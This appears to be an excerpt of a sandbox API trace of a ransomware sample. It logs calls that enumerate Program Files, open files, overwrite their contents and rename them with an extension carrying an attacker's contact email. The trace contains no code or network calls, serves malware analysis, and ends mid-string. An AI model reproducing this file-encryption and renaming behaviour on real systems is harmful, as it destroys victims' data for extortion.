1 [0261.433] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.433] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0261.433] CloseHandle (hObject=0x6c0) returned 1 [0261.433] GetProcessHeap () returned 0x630000 [0261.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d2558 | out: hHeap=0x630000) returned 1 [0261.433] GetProcessHeap () returned 0x630000 [0261.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d0728 | out: hHeap=0x630000) returned 1 [0261.433] GetProcessHeap () returned 0x630000 [0261.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0261.433] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\COMPASS.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61c529ce, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20a, dwReserved0=0x323fd20, dwReserved1=0x6d0728, cFileName="COMPASS.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COMPAS~1.FIR")) returned 0x6d4f40 [0261.433] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0261.434] Sleep (dwMilliseconds=0x1) [0262.941] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-100.png", len=0x92 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-100.png") returned 1 [0262.941] GetProcessHeap () returned 0x630000 [0262.941] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db0) returned 0x6fe3bb0 [0262.941] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemailMedTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\basevoicemailmedtilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.942] Sleep (dwMilliseconds=0x1) [0263.962] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\155.png", len=0x7a | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\155.png") returned 1 [0263.962] GetProcessHeap () returned 0x630000 [0263.962] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c7c) returned 0x6fe3bb0 [0263.963] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\155.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\155.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.964] Sleep (dwMilliseconds=0x1) [0264.683] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-38.png", len=0x74 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-38.png") returned 1 [0264.683] GetProcessHeap () returned 0x630000 [0264.683] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc8) returned 0x6fe3bb0 [0264.684] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-38.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail.targetsize-38.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.689] Sleep (dwMilliseconds=0x1) [0264.733] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-36.png", len=0x74 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-36.png") returned 1 [0264.733] GetProcessHeap () returned 0x630000 [0264.733] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc4) returned 0x6fe3bb0 [0264.733] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail.targetsize-36.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.735] Sleep (dwMilliseconds=0x1) [0264.756] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-200.png", len=0x82 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-200.png") returned 1 [0264.756] GetProcessHeap () returned 0x630000 [0264.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c70) returned 0x6fe3bb0 [0264.756] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail2SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail2smalltilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.756] Sleep (dwMilliseconds=0x1) [0264.778] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-48.png", len=0x74 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-48.png") returned 1 [0264.778] GetProcessHeap () returned 0x630000 [0264.778] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c4c) returned 0x6fe3bb0 [0264.778] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.788] Sleep (dwMilliseconds=0x1) [0264.802] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.ELM", len=0x6c | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.ELM") returned 1 [0264.802] GetProcessHeap () returned 0x630000 [0264.802] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c0c) returned 0x6fe3bb0 [0264.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0265.236] CloseHandle (hObject=0x698) returned 1 [0265.236] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0265.236] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\arctic.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\arctic.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.264] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="ARCTIC.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ARCTIC~2.FIR")) returned 0x6d53c0 [0265.265] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0265.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\arctic.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0265.265] GetProcessHeap () returned 0x630000 [0265.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x747f1a0 [0265.265] GetProcessHeap () returned 0x630000 [0265.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x748a5d0 [0265.265] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.265] ReadFile (in: hFile=0x698, lpBuffer=0x747f1a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x747f1a0*, lpNumberOfBytesRead=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.191] GetProcessHeap () returned 0x630000 [0273.191] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0273.191] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.191] WriteFile (in: hFile=0x698, lpBuffer=0x748a5d0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x748a5d0*, lpNumberOfBytesWritten=0x323ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0273.192] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.192] WriteFile (in: hFile=0x698, lpBuffer=0x74959cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74959cf*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0273.192] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.192] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0273.192] CloseHandle (hObject=0x698) returned 1 [0273.192] GetProcessHeap () returned 0x630000 [0273.192] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x748a5d0 | out: hHeap=0x630000) returned 1 [0273.193] GetProcessHeap () returned 0x630000 [0273.193] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x747f1a0 | out: hHeap=0x630000) returned 1 [0273.193] GetProcessHeap () returned 0x630000 [0273.193] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0273.193] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0273.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68c88593, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10feb, dwReserved0=0xc0c7496, dwReserved1=0x747f198, cFileName="ARCTIC.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ARCTIC~2.FIR")) returned 0x6d5500 [0273.193] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0273.193] Sleep (dwMilliseconds=0x1) [0275.154] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri", len=0x71 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri") returned 1 [0275.154] GetProcessHeap () returned 0x630000 [0275.155] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb0) returned 0x6fe3bb0 [0275.155] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.156] Sleep (dwMilliseconds=0x1) [0275.167] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\WideLogo.scale-150.png", len=0x81 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\WideLogo.scale-150.png") returned 1 [0275.167] GetProcessHeap () returned 0x630000 [0275.167] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bac) returned 0x6fe3bb0 [0275.167] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\WideLogo.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\widelogo.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.171] Sleep (dwMilliseconds=0x1) [0275.188] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.surprise.small.scale-150.png", len=0x91 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.surprise.small.scale-150.png") returned 1 [0275.188] GetProcessHeap () returned 0x630000 [0275.188] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b90) returned 0x6fe3bb0 [0275.188] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.surprise.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.surprise.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.189] Sleep (dwMilliseconds=0x1) [0275.198] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.surprise.scale-150.png", len=0x8b | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.surprise.scale-150.png") returned 1 [0275.198] GetProcessHeap () returned 0x630000 [0275.198] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b8c) returned 0x6fe3bb0 [0275.198] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.surprise.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.surprise.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.201] Sleep (dwMilliseconds=0x1) [0275.216] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.wink.scale-150.png", len=0x90 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.wink.scale-150.png") returned 1 [0275.216] GetProcessHeap () returned 0x630000 [0275.216] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b70) returned 0x6fe3bb0 [0275.216] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.wink.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim2.wink.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.218] Sleep (dwMilliseconds=0x1) [0275.229] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.surprise.small.scale-150.png", len=0x9a | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.surprise.small.scale-150.png") returned 1 [0275.229] GetProcessHeap () returned 0x630000 [0275.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b6c) returned 0x6fe3bb0 [0275.230] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.surprise.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim2.surprise.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.233] Sleep (dwMilliseconds=0x1) [0275.295] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.small.scale-150.png", len=0x96 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.small.scale-150.png") returned 1 [0275.295] GetProcessHeap () returned 0x630000 [0275.295] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b50) returned 0x6fe3bb0 [0275.295] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim1.wink.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.297] Sleep (dwMilliseconds=0x1) [0275.308] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.scale-150.png", len=0x90 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.scale-150.png") returned 1 [0275.308] GetProcessHeap () returned 0x630000 [0275.308] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b4c) returned 0x6fe3bb0 [0275.308] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.wink.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim1.wink.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.311] Sleep (dwMilliseconds=0x1) [0275.330] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x66 | out: pbstr=0x323ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0275.330] GetProcessHeap () returned 0x630000 [0275.330] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b14) returned 0x6fe3bb0 [0275.330] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.330] Sleep (dwMilliseconds=0x1) [0275.341] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\RAVIE.TTF", len=0x42 | out: pbstr=0x323ff7c*="C:\\Program Files\\Microsoft 